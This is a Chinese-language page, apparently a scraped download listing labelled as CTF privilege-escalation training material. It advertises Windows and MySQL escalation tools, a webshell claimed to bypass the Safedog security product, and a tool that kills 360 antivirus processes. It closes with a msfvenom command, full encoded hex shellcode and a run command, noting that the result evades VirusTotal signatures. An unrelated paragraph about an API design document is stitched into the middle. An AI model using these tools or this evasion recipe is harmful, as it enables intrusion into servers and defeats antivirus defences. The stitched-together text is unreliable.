web提权ctf培训文档.

CTF服务器提权

MYSQL高版本低版本UDF提权工具 很好用的UDF提权使用 有两个版本

asp 提权大马 秒杀安全狗 无后门 权限强大

这是最新版的 windows 2003提权工具包,内包含pr.exe和cmd.exe. 至于用法自己百度. 可用.如果不能用,应该是服务器打了补丁 2003提权工具，有了它提取更方便

一个可以干掉360进程的,主要提权时候用到，用户添加到管理组，被360拦截情况下

Churrasco.exe+nc.exe+http.exe提权工具

暗月mysql全版本通杀提权

经过自己调研，和后端同学讨论及使用形成一个规范的文档，包含了接口的异常操作情况，接口返回要求，接口的文档要求，经过自己调研形成，想了好久还是把这个文档发出来，自己找了好久网上并没有找到对于接口的一个规范和返回的一个要求，所以自己总结编写

//msfvenom -p windows/exec CMD=calc.exe -f exe -e x86/shikata_ga_nai -i 6 -f c 生成shellcod 测试数据： bf6e4a2508d9ebd97424f45d33c9b131317d13037d1383c56aa8d0f49aae1b055acf92e06bcfc161dbff8224d774c6dc6cf8cfd3c5b729ddd6e40a7c54f75e5e6538939fa2255ecd7b21cde2087fce894291566d1290772029cb57c2fe67dedce342a857d7392bbe26c180ff8730d8382fabaf304c56a8862f8c3d1d9747e5f9268b70892460f6d52877db6d54fcdaa1dd46f965861d603f62f39d5fcdac3b2be3b93176693fc70cdf3fd70e4f28e685002ff74f65cf155a9378800f1ee533fa5c10b00f1ce7a86519a36e9553bc1a99c0bd0efa872dd2d322d6712c 将shellcode作为参数传入执行盒，./shllcode_Argv.exe bf6e4a2508d9ebd97424f45d33c9b131317d13037d1383c56aa8d0f49aae1b055acf92e06bcfc161dbff8224d774c6dc6cf8cfd3c5b729ddd6e40a7c54f75e5e6538939fa2255ecd7b21cde2087fce894291566d1290772029cb57c2fe67dedce342a857d7392bbe26c180ff8730d8382fabaf304c56a8862f8c3d1d9747e5f9268b70892460f6d52877db6d54fcdaa1dd46f965861d603f62f39d5fcdac3b2be3b93176693fc70cdf3fd70e4f28e685002ff74f65cf155a9378800f1ee533fa5c10b00f1ce7a86519a36e9553bc1a99c0bd0efa872dd2d322d6712c 即可执行该段shellcode。 该exe可传vt查看报毒情况，无特征码